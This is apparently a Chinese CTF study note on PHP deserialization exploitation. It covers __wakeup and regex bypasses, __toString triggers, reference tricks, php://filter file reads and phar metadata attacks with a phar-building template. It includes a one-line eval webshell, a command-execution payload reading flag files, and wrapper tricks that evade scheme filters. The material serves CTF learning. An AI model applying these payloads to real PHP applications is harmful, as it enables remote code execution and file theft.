这篇不错(参考):[CTF]PHP反序列化总结
注意:eval写完命令一定在后加';'
如果是:@eval($this->txw4ever); 这样的eval函数记得写完命令后面加上 ';'
场景:
1、system("ls")之类的写完后面要 ';' 变为:system('ls');
2、一句话木马:
<?php @eval($_POST['cmd']);?> 假如不用蚁剑,我们直接在页面进行POST提交,输入cmd=phpinfo(); ,命令后面也必须加';'
反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数 __sleep() //执行serialize()时,先会调用这个函数 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据或者不存在的成员属性都会调用此方法 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试将对象调用为函数时触发
__wakeup()漏洞
原理:
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
实现:
因此,需要修改序列化字符串中的属性个数:O:4:"xctf":1:{s:4:"flag";s:3:"111";}变为O:4:"xctf":2:{s:4:"flag";s:3:"111";}
_toString隐藏彩蛋
1、字符串弱比较
做弱比较的时候有一方为字符串就能触发__toString
实例:[NISACTF 2022]babyserialize 这道题使用这个方法payload短了很多!!!
源码
class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); //这个不是好东西,进去之后好像会输出 flag is in / 然后结束。 //普通的长链子可以绕过,这个this->fun会赋值为对象肯定可以 } } ..............略
短payload
class NISA{ public $txw4ever='SYSTEM("cat /f*");'; } class Ilovetxw{ } $a = new NISA(); $a->fun = new Ilovetxw(); $a->fun->su = $a; $a = serialize($a); echo $a;
2、字符串相关的函数
原理:
当使用字符串函数时,也会触发_toSring()。如:strtolower($this->name);
需要传字符串的函数:
strtolower() 函数把字符串转换为小写。 strtoupper() - 把字符串转换为大写 lcfirst() - 把字符串中的首字符转换为小写 ucfirst() - 把字符串中的首字符转换为大写 ucwords() - 把字符串中每个单词的首字符转换为大写
正则绕过
1、if (preg_match('/[oc]:\d+:/i', $var))
如:if (preg_match('/[oc]:\d+:/i', $var)),要求O:后面不能是数字。绕方法:在数字前面加上'+',如:O:+4。
注意:
如果这里还需要base64加密且成员数据是private,那么'+'就没那么好加进去。因为private变量名需要在前面加%00类名%00,而%00输出后不显示效果,如果先构造没base64加密的payload,则在进行加密时%00不会被加密。
解决方法:
所以要一口气完成,则'+'就需要在写代码时就将其加入。这里要用到str_replace函数。
$a=new Demo(); $b=str_replace("O:","O:+",serialize($a)); $b=str_replace(":1:",":2:",$b); echo base64_encode($b);
这里需要绕过_wakeup。
2、if(!preg_match('/test":3/i',$a))
解释:不会
要求:test后面只能跟:3,且区分大小写
源码:
class test{ public $a; public $b; public $c; public function __construct(){ $this->a=1; $this->b=2; $this->c=3; } public function __wakeup(){ $this->a=''; //这里导致a变为空 } public function __destruct(){ $this->b=$this->c; //这里可以用引用,将$a变为$b的引用,所以给$b赋值相当于给$a赋值,所以这里可以将语句先给$c eval($this->a); } } $a=$_GET['a']; if(!preg_match('/test":3/i',$a)){ die("你输入的不正确!!!搞什么!!"); } $bbb=unserialize($_GET['a']);
这里因为只能是test:3,导致无法绕过_wakeup,使用引用解决,上面注释有解释。
引用
原理:
php可以将变量变为另一个变量的引用,这时两个变量共用同一块内存空间,实现了无论在什么情况下两个变量始终相等
使用场景:
1、如果题目无论如何绕过都避免不了必须比较两个变量,并且需要它们相等的情况下
2、存在三个变量,需要使用的变量$a无论绕过都得被题目改值,但是改值完毕后其他两个变量进行了赋值(如:$b=$c,$c没有被改值),这时将语句写个$c,$a为$b的引用,从而实现语句经过$c给$a。
语句(参照上面的例题):$a=&$b;
实现:
$a=new test(); $a->a=&$a->b; echo serialize($a);
is_file(使用php伪协议绕过)
原理:
is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。
is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。
实现:
if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo "You got it!"; highlight_file($this->want); }
使用php://filter/resource=f14g.php和php://filter/read=convert.base64-encode/resource=f14g.php都行,这里没有拦截可以不用base64编码绕过
Phar
使用条件:
-
phar文件要能够上传到服务器端。
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤
受影响的函数如下:
phar模版:
<?php //前面写构造反序列化的代码 //最后$a为需要序列化的变量,因为后面的代码以$a为需要序列化的变量 $a = new 类名;//如($a=new aaa();) //下面都不需要改 @unlink('test.phar'); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
后缀格式.phar绕过
原理:
php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();
这段代码,对前面的内容或者后缀名没有要求的。
实现:
那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
通过更改为.jpg、.png、.gif、.txt等任意文件后缀
绕过phar关键字检测(针对phar不能出现在最前面)
检测源码:
if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){ die(); } //解释:后端检测的参数不能以 phar 开头
绕过方法:
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///home/sx/test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt // 还可以使用伪协议的方法绕过 php://filter/read=convert.base64-encode/resource=phar://phar.phar
更多绕过: